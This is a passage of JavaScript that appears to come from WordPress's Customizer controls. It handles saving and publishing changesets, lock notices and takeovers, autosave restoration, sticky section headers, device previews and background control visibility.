api.previewer.bind( 'nonce', function( nonce ) { $.extend( this.nonce, nonce ); }); // Refresh the nonces if login sends updated nonces over. api.bind( 'nonce-refresh', function( nonce ) { $.extend( api.settings.nonce, nonce ); $.extend( api.previewer.nonce, nonce ); api.previewer.send( 'nonce-refresh', nonce ); }); // Create Settings. $.each( api.settings.settings, function( id, data ) { var Constructor = api.settingConstructor[ data.type ] || api.Setting; api.add( new Constructor( id, data.value, { transport: data.transport, previewer: api.previewer, dirty: !! data.dirty } ) ); }); // Create Panels. $.each( api.settings.panels, function ( id, data ) { var Constructor = api.panelConstructor[ data.type ] || api.Panel, options; // Inclusion of params alias is for back-compat for custom panels that expect to augment this property. options = _.extend( { params: data }, data ); api.panel.add( new Constructor( id, options ) ); }); // Create Sections. $.each( api.settings.sections, function ( id, data ) { var Constructor = api.sectionConstructor[ data.type ] || api.Section, options; // Inclusion of params alias is for back-compat for custom sections that expect to augment this property. options = _.extend( { params: data }, data ); api.section.add( new Constructor( id, options ) ); }); // Create Controls. $.each( api.settings.controls, function( id, data ) { var Constructor = api.controlConstructor[ data.type ] || api.Control, options; // Inclusion of params alias is for back-compat for custom controls that expect to augment this property. options = _.extend( { params: data }, data ); api.control.add( new Constructor( id, options ) ); }); // Focus the autofocused element. _.each( [ 'panel', 'section', 'control' ], function( type ) { var id = api.settings.autofocus[ type ]; if ( ! id ) { return; } /* * Defer focus until: * 1. The panel, section, or control exists (especially for dynamically-created ones). * 2. The instance is embedded in the document (and so is focusable). * 3. The preview has finished loading so that the active states have been set. */ api[ type ]( id, function( instance ) { instance.deferred.embedded.done( function() { api.previewer.deferred.active.done( function() { instance.focus(); }); }); }); }); api.bind( 'ready', api.reflowPaneContents ); $( [ api.panel, api.section, api.control ] ).each( function ( i, values ) { var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents ); values.bind( 'add', debouncedReflowPaneContents ); values.bind( 'change', debouncedReflowPaneContents ); values.bind( 'remove', debouncedReflowPaneContents ); } ); // Set up global notifications area. api.bind( 'ready', function setUpGlobalNotificationsArea() { var sidebar, containerHeight, containerInitialTop; api.notifications.container = $( '#customize-notifications-area' ); api.notifications.bind( 'change', _.debounce( function() { api.notifications.render(); } ) ); sidebar = $( '.wp-full-overlay-sidebar-content' ); api.notifications.bind( 'rendered', function updateSidebarTop() { sidebar.css( 'top', '' ); if ( 0 !== api.notifications.count() ) { containerHeight = api.notifications.container.outerHeight() + 1; containerInitialTop = parseInt( sidebar.css( 'top' ), 10 ); sidebar.css( 'top', containerInitialTop + containerHeight + 'px' ); } api.notifications.trigger( 'sidebarTopUpdated' ); }); api.notifications.render(); }); // Save and activated states. (function( state ) { var saved = state.instance( 'saved' ), saving = state.instance( 'saving' ), trashing = state.instance( 'trashing' ), activated = state.instance( 'activated' ), processing = state.instance( 'processing' ), paneVisible = state.instance( 'paneVisible' ), expandedPanel = state.instance( 'expandedPanel' ), expandedSection = state.instance( 'expandedSection' ), changesetStatus = state.instance( 'changesetStatus' ), selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ), changesetDate = state.instance( 'changesetDate' ), selectedChangesetDate = state.instance( 'selectedChangesetDate' ), previewerAlive = state.instance( 'previewerAlive' ), editShortcutVisibility = state.instance( 'editShortcutVisibility' ), changesetLocked = state.instance( 'changesetLocked' ), populateChangesetUuidParam, defaultSelectedChangesetStatus; state.bind( 'change', function() { var canSave; if ( ! activated() ) { saveBtn.val( api.l10n.activate ); closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel ); } else if ( '' === changesetStatus.get() && saved() ) { if ( api.settings.changeset.currentUserCanPublish ) { saveBtn.val( api.l10n.published ); } else { saveBtn.val( api.l10n.saved ); } closeBtn.find( '.screen-reader-text' ).text( api.l10n.close ); } else { if ( 'draft' === selectedChangesetStatus() ) { if ( saved() && selectedChangesetStatus() === changesetStatus() ) { saveBtn.val( api.l10n.draftSaved ); } else { saveBtn.val( api.l10n.saveDraft ); } } else if ( 'future' === selectedChangesetStatus() ) { if ( saved() && selectedChangesetStatus() === changesetStatus() ) { if ( changesetDate.get() !== selectedChangesetDate.get() ) { saveBtn.val( api.l10n.schedule ); } else { saveBtn.val( api.l10n.scheduled ); } } else { saveBtn.val( api.l10n.schedule ); } } else if ( api.settings.changeset.currentUserCanPublish ) { saveBtn.val( api.l10n.publish ); } closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel ); } /* * Save (publish) button should be enabled if saving is not currently happening, * and if the theme is not active or the changeset exists but is not published. */ canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) ); saveBtn.prop( 'disabled', ! canSave ); }); selectedChangesetStatus.validate = function( status ) { if ( '' === status || 'auto-draft' === status ) { return null; } return status; }; defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft'; // Set default states. changesetStatus( api.settings.changeset.status ); changesetLocked( Boolean( api.settings.changeset.lockUser ) ); changesetDate( api.settings.changeset.publishDate ); selectedChangesetDate( api.settings.changeset.publishDate ); selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status ); selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection. saved( true ); if ( '' === changesetStatus() ) { // Handle case for loading starter content. api.each( function( setting ) { if ( setting._dirty ) { saved( false ); } } ); } saving( false ); activated( api.settings.theme.active ); processing( 0 ); paneVisible( true ); expandedPanel( false ); expandedSection( false ); previewerAlive( true ); editShortcutVisibility( 'visible' ); api.bind( 'change', function() { if ( state( 'saved' ).get() ) { state( 'saved' ).set( false ); } }); // Populate changeset UUID param when state becomes dirty. if ( api.settings.changeset.branching ) { saved.bind( function( isSaved ) { if ( ! isSaved ) { populateChangesetUuidParam( true ); } }); } saving.bind( function( isSaving ) { body.toggleClass( 'saving', isSaving ); } ); trashing.bind( function( isTrashing ) { body.toggleClass( 'trashing', isTrashing ); } ); api.bind( 'saved', function( response ) { state('saved').set( true ); if ( 'publish' === response.changeset_status ) { state( 'activated' ).set( true ); } }); activated.bind( function( to ) { if ( to ) { api.trigger( 'activated' ); } }); /** * Populate URL with UUID via `history.replaceState()`. * * @since 4.7.0 * @access private * * @param {boolean} isIncluded Is UUID included. * @return {void} */ populateChangesetUuidParam = function( isIncluded ) { var urlParser, queryParams; // Abort on IE9 which doesn't support history management. if ( ! history.replaceState ) { return; } urlParser = document.createElement( 'a' ); urlParser.href = location.href; queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); if ( isIncluded ) { if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) { return; } queryParams.changeset_uuid = api.settings.changeset.uuid; } else { if ( ! queryParams.changeset_uuid ) { return; } delete queryParams.changeset_uuid; } urlParser.search = $.param( queryParams ); history.replaceState( {}, document.title, urlParser.href ); }; // Show changeset UUID in URL when in branching mode and there is a saved changeset. if ( api.settings.changeset.branching ) { changesetStatus.bind( function( newStatus ) { populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus ); } ); } }( api.state ) ); /** * Handles lock notice and take over request. * * @since 4.9.0 */ ( function checkAndDisplayLockNotice() { var LockedNotification = api.OverlayNotification.extend(/** @lends wp.customize~LockedNotification.prototype */{ /** * Template ID. * * @type {string} */ templateId: 'customize-changeset-locked-notification', /** * Lock user. * * @type {object} */ lockUser: null, /** * A notification that is displayed in a full-screen overlay with information about the locked changeset. * * @constructs wp.customize~LockedNotification * @augments wp.customize.OverlayNotification * * @since 4.9.0 * * @param {string} [code] - Code. * @param {Object} [params] - Params. */ initialize: function( code, params ) { var notification = this, _code, _params; _code = code || 'changeset_locked'; _params = _.extend( { message: '', type: 'warning', containerClasses: '', lockUser: {} }, params ); _params.containerClasses += ' notification-changeset-locked'; api.OverlayNotification.prototype.initialize.call( notification, _code, _params ); }, /** * Render notification. * * @since 4.9.0 * * @return {jQuery} Notification container. */ render: function() { var notification = this, li, data, takeOverButton, request; data = _.extend( { allowOverride: false, returnUrl: api.settings.url['return'], previewUrl: api.previewer.previewUrl.get(), frontendPreviewUrl: api.previewer.getFrontendPreviewUrl() }, this ); li = api.OverlayNotification.prototype.render.call( data ); // Try to autosave the changeset now. api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) { if ( ! response.autosaved ) { li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail ); } } ); takeOverButton = li.find( '.customize-notice-take-over-button' ); takeOverButton.on( 'click', function( event ) { event.preventDefault(); if ( request ) { return; } takeOverButton.addClass( 'disabled' ); request = wp.ajax.post( 'customize_override_changeset_lock', { wp_customize: 'on', customize_theme: api.settings.theme.stylesheet, customize_changeset_uuid: api.settings.changeset.uuid, nonce: api.settings.nonce.override_lock } ); request.done( function() { api.notifications.remove( notification.code ); // Remove self. api.state( 'changesetLocked' ).set( false ); } ); request.fail( function( response ) { var message = response.message || api.l10n.unknownRequestFail; li.find( '.notice-error' ).prop( 'hidden', false ).text( message ); request.always( function() { takeOverButton.removeClass( 'disabled' ); } ); } ); request.always( function() { request = null; } ); } ); return li; } }); /** * Start lock. * * @since 4.9.0 * * @param {Object} [args] - Args. * @param {Object} [args.lockUser] - Lock user data. * @param {boolean} [args.allowOverride=false] - Whether override is allowed. * @return {void} */ function startLock( args ) { if ( args && args.lockUser ) { api.settings.changeset.lockUser = args.lockUser; } api.state( 'changesetLocked' ).set( true ); api.notifications.add( new LockedNotification( 'changeset_locked', { lockUser: api.settings.changeset.lockUser, allowOverride: Boolean( args && args.allowOverride ) } ) ); } // Show initial notification. if ( api.settings.changeset.lockUser ) { startLock( { allowOverride: true } ); } // Check for lock when sending heartbeat requests. $( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) { data.check_changeset_lock = true; data.changeset_uuid = api.settings.changeset.uuid; } ); // Handle heartbeat ticks. $( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) { var notification, code = 'changeset_locked'; if ( ! data.customize_changeset_lock_user ) { return; } // Update notification when a different user takes over. notification = api.notifications( code ); if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) { api.notifications.remove( code ); } startLock( { lockUser: data.customize_changeset_lock_user } ); } ); // Handle locking in response to changeset save errors. api.bind( 'error', function( response ) { if ( 'changeset_locked' === response.code && response.lock_user ) { startLock( { lockUser: response.lock_user } ); } } ); } )(); // Set up initial notifications. (function() { var removedQueryParams = [], autosaveDismissed = false; /** * Obtain the URL to restore the autosave. * * @return {string} Customizer URL. */ function getAutosaveRestorationUrl() { var urlParser, queryParams; urlParser = document.createElement( 'a' ); urlParser.href = location.href; queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); if ( api.settings.changeset.latestAutoDraftUuid ) { queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid; } else { queryParams.customize_autosaved = 'on'; } queryParams['return'] = api.settings.url['return']; urlParser.search = $.param( queryParams ); return urlParser.href; } /** * Remove parameter from the URL. * * @param {Array} params - Parameter names to remove. * @return {void} */ function stripParamsFromLocation( params ) { var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0; urlParser.href = location.href; queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); _.each( params, function( param ) { if ( 'undefined' !== typeof queryParams[ param ] ) { strippedParams += 1; delete queryParams[ param ]; } } ); if ( 0 === strippedParams ) { return; } urlParser.search = $.param( queryParams ); history.replaceState( {}, document.title, urlParser.href ); } /** * Displays a Site Editor notification when a block theme is activated. * * @since 4.9.0 * * @param {string} [notification] - A notification to display. * @return {void} */ function addSiteEditorNotification( notification ) { api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', { message: notification, type: 'info', dismissible: false, render: function() { var notification = api.Notification.prototype.render.call( this ), button = notification.find( 'button.switch-to-editor' ); button.on( 'click', function( event ) { event.preventDefault(); location.assign( button.data( 'action' ) ); } ); return notification; } } ) ); } /** * Dismiss autosave. * * @return {void} */ function dismissAutosave() { if ( autosaveDismissed ) { return; } wp.ajax.post( 'customize_dismiss_autosave_or_lock', { wp_customize: 'on', customize_theme: api.settings.theme.stylesheet, customize_changeset_uuid: api.settings.changeset.uuid, nonce: api.settings.nonce.dismiss_autosave_or_lock, dismiss_autosave: true } ); autosaveDismissed = true; } /** * Add notification regarding the availability of an autosave to restore. * * @return {void} */ function addAutosaveRestoreNotification() { var code = 'autosave_available', onStateChange; // Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version. api.notifications.add( new api.Notification( code, { message: api.l10n.autosaveNotice, type: 'warning', dismissible: true, render: function() { var li = api.Notification.prototype.render.call( this ), link; // Handle clicking on restoration link. link = li.find( 'a' ); link.prop( 'href', getAutosaveRestorationUrl() ); link.on( 'click', function( event ) { event.preventDefault(); location.replace( getAutosaveRestorationUrl() ); } ); // Handle dismissal of notice. li.find( '.notice-dismiss' ).on( 'click', dismissAutosave ); return li; } } ) ); // Remove the notification once the user starts making changes. onStateChange = function() { dismissAutosave(); api.notifications.remove( code ); api.unbind( 'change', onStateChange ); api.state( 'changesetStatus' ).unbind( onStateChange ); }; api.bind( 'change', onStateChange ); api.state( 'changesetStatus' ).bind( onStateChange ); } if ( api.settings.changeset.autosaved ) { api.state( 'saved' ).set( false ); removedQueryParams.push( 'customize_autosaved' ); } if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) { removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft. } if ( removedQueryParams.length > 0 ) { stripParamsFromLocation( removedQueryParams ); } if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) { addAutosaveRestoreNotification(); } var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 ); if (shouldDisplayBlockThemeNotification) { addSiteEditorNotification( api.l10n.blockThemeNotification ); } })(); // Check if preview url is valid and load the preview frame. if ( api.previewer.previewUrl() ) { api.previewer.refresh(); } else { api.previewer.previewUrl( api.settings.url.home ); } // Button bindings. saveBtn.on( 'click', function( event ) { api.previewer.save(); event.preventDefault(); }).on( 'keydown', function( event ) { if ( 9 === event.which ) { // Tab. return; } if ( 13 === event.which ) { // Enter. api.previewer.save(); } event.preventDefault(); }); closeBtn.on( 'keydown', function( event ) { if ( 9 === event.which ) { // Tab. return; } if ( 13 === event.which ) { // Enter. this.click(); } event.preventDefault(); }); $( '.collapse-sidebar' ).on( 'click', function() { api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() ); }); api.state( 'paneVisible' ).bind( function( paneVisible ) { overlay.toggleClass( 'preview-only', ! paneVisible ); overlay.toggleClass( 'expanded', paneVisible ); overlay.toggleClass( 'collapsed', ! paneVisible ); if ( ! paneVisible ) { $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar }); } else { $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar }); } }); // Keyboard shortcuts - esc to exit section/panel. body.on( 'keydown', function( event ) { var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = []; if ( 27 !== event.which ) { // Esc. return; } /* * Abort if the event target is not the body (the default) and not inside of #customize-controls. * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else. */ if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) { return; } // Abort if we're inside of a block editor instance. if ( event.target.closest( '.block-editor-writing-flow' ) !== null || event.target.closest( '.block-editor-block-list__block-popover' ) !== null ) { return; } // Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels. api.control.each( function( control ) { if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) { expandedControls.push( control ); } }); api.section.each( function( section ) { if ( section.expanded() ) { expandedSections.push( section ); } }); api.panel.each( function( panel ) { if ( panel.expanded() ) { expandedPanels.push( panel ); } }); // Skip collapsing expanded controls if there are no expanded sections. if ( expandedControls.length > 0 && 0 === expandedSections.length ) { expandedControls.length = 0; } // Collapse the most granular expanded object. collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0]; if ( collapsedObject ) { if ( 'themes' === collapsedObject.params.type ) { // Themes panel or section. if ( body.hasClass( 'modal-open' ) ) { collapsedObject.closeDetails(); } else if ( api.panel.has( 'themes' ) ) { // If we're collapsing a section, collapse the panel also. api.panel( 'themes' ).collapse(); } return; } collapsedObject.collapse(); event.preventDefault(); } }); $( '.customize-controls-preview-toggle' ).on( 'click', function() { api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() ); }); /* * Sticky header feature. */ (function initStickyHeaders() { var parentContainer = $( '.wp-full-overlay-sidebar-content' ), changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader, activeHeader, lastScrollTop; /** * Determine which panel or section is currently expanded. * * @since 4.7.0 * @access private * * @param {wp.customize.Panel|wp.customize.Section} container Construct. * @return {void} */ changeContainer = function( container ) { var newInstance = container, expandedSection = api.state( 'expandedSection' ).get(), expandedPanel = api.state( 'expandedPanel' ).get(), headerElement; if ( activeHeader && activeHeader.element ) { // Release previously active header element. releaseStickyHeader( activeHeader.element ); // Remove event listener in the previous panel or section. activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight ); } if ( ! newInstance ) { if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) { newInstance = expandedPanel; } else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) { newInstance = expandedSection; } else { activeHeader = false; return; } } headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first(); if ( headerElement.length ) { activeHeader = { instance: newInstance, element: headerElement, parent: headerElement.closest( '.customize-pane-child' ), height: headerElement.outerHeight() }; // Update header height whenever help text is expanded or collapsed. activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight ); if ( expandedSection ) { resetStickyHeader( activeHeader.element, activeHeader.parent ); } } else { activeHeader = false; } }; api.state( 'expandedSection' ).bind( changeContainer ); api.state( 'expandedPanel' ).bind( changeContainer ); // Throttled scroll event handler. parentContainer.on( 'scroll', _.throttle( function() { if ( ! activeHeader ) { return; } var scrollTop = parentContainer.scrollTop(), scrollDirection; if ( ! lastScrollTop ) { scrollDirection = 1; } else { if ( scrollTop === lastScrollTop ) { scrollDirection = 0; } else if ( scrollTop > lastScrollTop ) { scrollDirection = 1; } else { scrollDirection = -1; } } lastScrollTop = scrollTop; if ( 0 !== scrollDirection ) { positionStickyHeader( activeHeader, scrollTop, scrollDirection ); } }, 8 ) ); // Update header position on sidebar layout change. api.notifications.bind( 'sidebarTopUpdated', function() { if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) { activeHeader.element.css( 'top', parentContainer.css( 'top' ) ); } }); // Release header element if it is sticky. releaseStickyHeader = function( headerElement ) { if ( ! headerElement.hasClass( 'is-sticky' ) ) { return; } headerElement .removeClass( 'is-sticky' ) .addClass( 'maybe-sticky is-in-view' ) .css( 'top', parentContainer.scrollTop() + 'px' ); }; // Reset position of the sticky header. resetStickyHeader = function( headerElement, headerParent ) { if ( headerElement.hasClass( 'is-in-view' ) ) { headerElement .removeClass( 'maybe-sticky is-in-view' ) .css( { width: '', top: '' } ); headerParent.css( 'padding-top', '' ); } }; /** * Update active header height. * * @since 4.7.0 * @access private * * @return {void} */ updateHeaderHeight = function() { activeHeader.height = activeHeader.element.outerHeight(); }; /** * Reposition header on throttled `scroll` event. * * @since 4.7.0 * @access private * * @param {Object} header - Header. * @param {number} scrollTop - Scroll top. * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down. * @return {void} */ positionStickyHeader = function( header, scrollTop, scrollDirection ) { var headerElement = header.element, headerParent = header.parent, headerHeight = header.height, headerTop = parseInt( headerElement.css( 'top' ), 10 ), maybeSticky = headerElement.hasClass( 'maybe-sticky' ), isSticky = headerElement.hasClass( 'is-sticky' ), isInView = headerElement.hasClass( 'is-in-view' ), isScrollingUp = ( -1 === scrollDirection ); // When scrolling down, gradually hide sticky header. if ( ! isScrollingUp ) { if ( isSticky ) { headerTop = scrollTop; headerElement .removeClass( 'is-sticky' ) .css( { top: headerTop + 'px', width: '' } ); } if ( isInView && scrollTop > headerTop + headerHeight ) { headerElement.removeClass( 'is-in-view' ); headerParent.css( 'padding-top', '' ); } return; } // Scrolling up. if ( ! maybeSticky && scrollTop >= headerHeight ) { maybeSticky = true; headerElement.addClass( 'maybe-sticky' ); } else if ( 0 === scrollTop ) { // Reset header in base position. headerElement .removeClass( 'maybe-sticky is-in-view is-sticky' ) .css( { top: '', width: '' } ); headerParent.css( 'padding-top', '' ); return; } if ( isInView && ! isSticky ) { // Header is in the view but is not yet sticky. if ( headerTop >= scrollTop ) { // Header is fully visible. headerElement .addClass( 'is-sticky' ) .css( { top: parentContainer.css( 'top' ), width: headerParent.outerWidth() + 'px' } ); } } else if ( maybeSticky && ! isInView ) { // Header is out of the view. headerElement .addClass( 'is-in-view' ) .css( 'top', ( scrollTop - headerHeight ) + 'px' ); headerParent.css( 'padding-top', headerHeight + 'px' ); } }; }()); // Previewed device bindings. (The api.previewedDevice property // is how this Value was first introduced, but since it has moved to api.state.) api.previewedDevice = api.state( 'previewedDevice' ); // Set the default device. api.bind( 'ready', function() { _.find( api.settings.previewableDevices, function( value, key ) { if ( true === value['default'] ) { api.previewedDevice.set( key ); return true; } } ); } ); // Set the toggled device. footerActions.find( '.devices button' ).on( 'click', function( event ) { api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) ); }); // Bind device changes. api.previewedDevice.bind( function( newDevice ) { var overlay = $( '.wp-full-overlay' ), devices = ''; footerActions.find( '.devices button' ) .removeClass( 'active' ) .attr( 'aria-pressed', false ); footerActions.find( '.devices .preview-' + newDevice ) .addClass( 'active' ) .attr( 'aria-pressed', true ); $.each( api.settings.previewableDevices, function( device ) { devices += ' preview-' + device; } ); overlay .removeClass( devices ) .addClass( 'preview-' + newDevice ); } ); // Bind site title display to the corresponding field. if ( title.length ) { api( 'blogname', function( setting ) { var updateTitle = function() { var blogTitle = setting() || ''; title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName ); }; setting.bind( updateTitle ); updateTitle(); } ); } /* * Create a postMessage connection with a parent frame, * in case the Customizer frame was opened with the Customize loader. * * @see wp.customize.Loader */ parent = new api.Messenger({ url: api.settings.url.parent, channel: 'loader' }); // Handle exiting of Customizer. (function() { var isInsideIframe = false; function isCleanState() { var defaultChangesetStatus; /* * Handle special case of previewing theme switch since some settings (for nav menus and widgets) * are pre-dirty and non-active themes can only ever be auto-drafts. */ if ( ! api.state( 'activated' ).get() ) { return 0 === api._latestRevision; } // Dirty if the changeset status has been changed but not saved yet. defaultChangesetStatus = api.state( 'changesetStatus' ).get(); if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) { defaultChangesetStatus = 'publish'; } if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) { return false; } // Dirty if scheduled but the changeset date hasn't been saved yet. if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) { return false; } return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get(); } /* * If we receive a 'back' event, we're inside an iframe. * Send any clicks to the 'Return' link to the parent page. */ parent.bind( 'back', function() { isInsideIframe = true; }); function startPromptingBeforeUnload() { api.unbind( 'change', startPromptingBeforeUnload ); api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload ); api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload ); // Prompt user with AYS dialog if leaving the Customizer with unsaved changes. $( window ).on( 'beforeunload.customize-confirm', function() { if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) { setTimeout( function() { overlay.removeClass( 'customize-loading' ); }, 1 ); return api.l10n.saveAlert; } }); } api.bind( 'change', startPromptingBeforeUnload ); api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload ); api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload ); function requestClose() { var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false; if ( isCleanState() ) { dismissLock = true; } else if ( confirm( api.l10n.saveAlert ) ) { dismissLock = true; // Mark all settings as clean to prevent another call to requestChangesetUpdate. api.each( function( setting ) { setting._dirty = false; }); $( document ).off( 'visibilitychange.wp-customize-changeset-update' ); $( window ).off( 'beforeunload.wp-customize-changeset-update' ); closeBtn.css( 'cursor', 'progress' ); if ( '' !== api.state( 'changesetStatus' ).get() ) { dismissAutoSave = true; } } else { clearedToClose.reject(); } if ( dismissLock || dismissAutoSave ) { wp.ajax.send( 'customize_dismiss_autosave_or_lock', { timeout: 500, // Don't wait too long. data: { wp_customize: 'on', customize_theme: api.settings.theme.stylesheet, customize_changeset_uuid: api.settings.changeset.uuid, nonce: api.settings.nonce.dismiss_autosave_or_lock, dismiss_autosave: dismissAutoSave, dismiss_lock: dismissLock } } ).always( function() { clearedToClose.resolve(); } ); } return clearedToClose.promise(); } parent.bind( 'confirm-close', function() { requestClose().done( function() { parent.send( 'confirmed-close', true ); } ).fail( function() { parent.send( 'confirmed-close', false ); } ); } ); closeBtn.on( 'click.customize-controls-close', function( event ) { event.preventDefault(); if ( isInsideIframe ) { parent.send( 'close' ); // See confirm-close logic above. } else { requestClose().done( function() { $( window ).off( 'beforeunload.customize-confirm' ); window.location.href = closeBtn.prop( 'href' ); } ); } }); })(); // Pass events through to the parent. $.each( [ 'saved', 'change' ], function ( i, event ) { api.bind( event, function() { parent.send( event ); }); } ); // Pass titles to the parent. api.bind( 'title', function( newTitle ) { parent.send( 'title', newTitle ); }); if ( api.settings.changeset.branching ) { parent.send( 'changeset-uuid', api.settings.changeset.uuid ); } // Initialize the connection with the parent frame. parent.send( 'ready' ); // Control visibility for default controls. $.each({ 'background_image': { controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], callback: function( to ) { return !! to; } }, 'show_on_front': { controls: [ 'page_on_front', 'page_for_posts' ], callback: function( to ) { return 'page' === to; } }, 'header_textcolor': { controls: [ 'header_textcolor' ], callback: function( to ) { return 'blank' !== to; } } }, function( settingId, o ) { api( settingId, function( setting ) { $.each( o.controls, function( i, controlId ) { api.control( controlId, function( control ) { var visibility = function( to ) { control.container.toggle( o.callback( to ) ); }; visibility( setting.get() ); setting.bind( visibility ); }); }); }); }); api.control( 'background_preset', function( control ) { var visibility, defaultValues, values, toggleVisibility, updateSettings, preset; visibility = { // position, size, repeat, attachment. 'default': [ false, false, false, false ], 'fill': [ true, false, false, false ], 'fit': [ true, false, true, false ], 'repeat': [ true, false, false, true ], 'custom': [ true, true, true, true ] }; defaultValues = [ _wpCustomizeBackground.defaults['default-position-x'], _wpCustomizeBackground.defaults['default-position-y'], _wpCustomizeBackground.defaults['default-size'], _wpCustomizeBackground.defaults['default-repeat'], _wpCustomizeBackground.defaults['default-attachment'] ]; values = { // position_x, position_y, size, repeat, attachment. 'default': defaultValues, 'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ], 'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ], 'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ] }; // @todo These should actually toggle the active state, // but without the preview overriding the state in data.activeControls. toggleVisibility = function( preset ) { _.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) { var control = api.control( controlId ); if ( control ) { control.container.toggle( visibility[ preset ][ i ] ); } } ); }; updateSettings = function( preset ) { _.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) { var setting = api( settingId ); if ( setting ) { setting.set( values[ preset ][ i ] ); } } ); }; preset = control.setting.get(); toggleVisibility( preset ); control.setting.bind( 'change', function( preset ) { toggleVisibility( preset ); if ( 'custom' !== preset ) { updateSettings( preset ); } } ); } ); api.control( 'background_repeat', function( control ) { control.elements[0].unsync( api( 'background_repeat' ) ); control.element = new api.Element( control.container.find( 'input' ) ); control.element.set( 'no-repeat' !== control.setting() ); control.element.bind( function( to ) { control.setting.set( to ? 'repeat' : 'no-repeat' ); } ); control.setting.bind( function( to ) { control.element.set( 'no-repeat' !== to ); } ); } ); api.control( 'background_attachment', function( control ) { control.elements[0].unsync( api( 'background_attachment' ) ); control.element = new api.Element( control.container.find( 'input' ) ); control.element.set( 'fixed' !== control.setting() ); control.element.bind( function( to ) { control.setting.set( to ? 'scroll' : 'fixed' ); } ); control.setting.bind( function( to ) { control.element.set( 'fixed' !== to ); } ); } ); // Juggle the two controls that use header_textcolor. api.control( 'display_header_text', function( control ) { var last = ''; control.elements[0].unsync( api( 'header_textcolor' ) ); control.element = new api.Element( control.container.find('input') ); control.element.set( 'blank' !== control.setting() ); control.element.bind( function( to ) { if ( ! to ) { last = api( 'header_textcolor' ).get(); } control.setting.set( to ? last : 'blank' ); }); control.setting.bind( function( to ) { control.element.set( 'blank' !== to ); }); }); // Add behaviors to the static front page controls. api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) { var handleChange = function() { var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision'; pageOnFrontId = parseInt( pageOnFront(), 10 ); pageForPostsId = parseInt( pageForPosts(), 10 ); if ( 'page' === showOnFront() ) { // Change previewed URL to the homepage when changing the page_on_front. if ( setting === pageOnFront && pageOnFrontId > 0 ) { 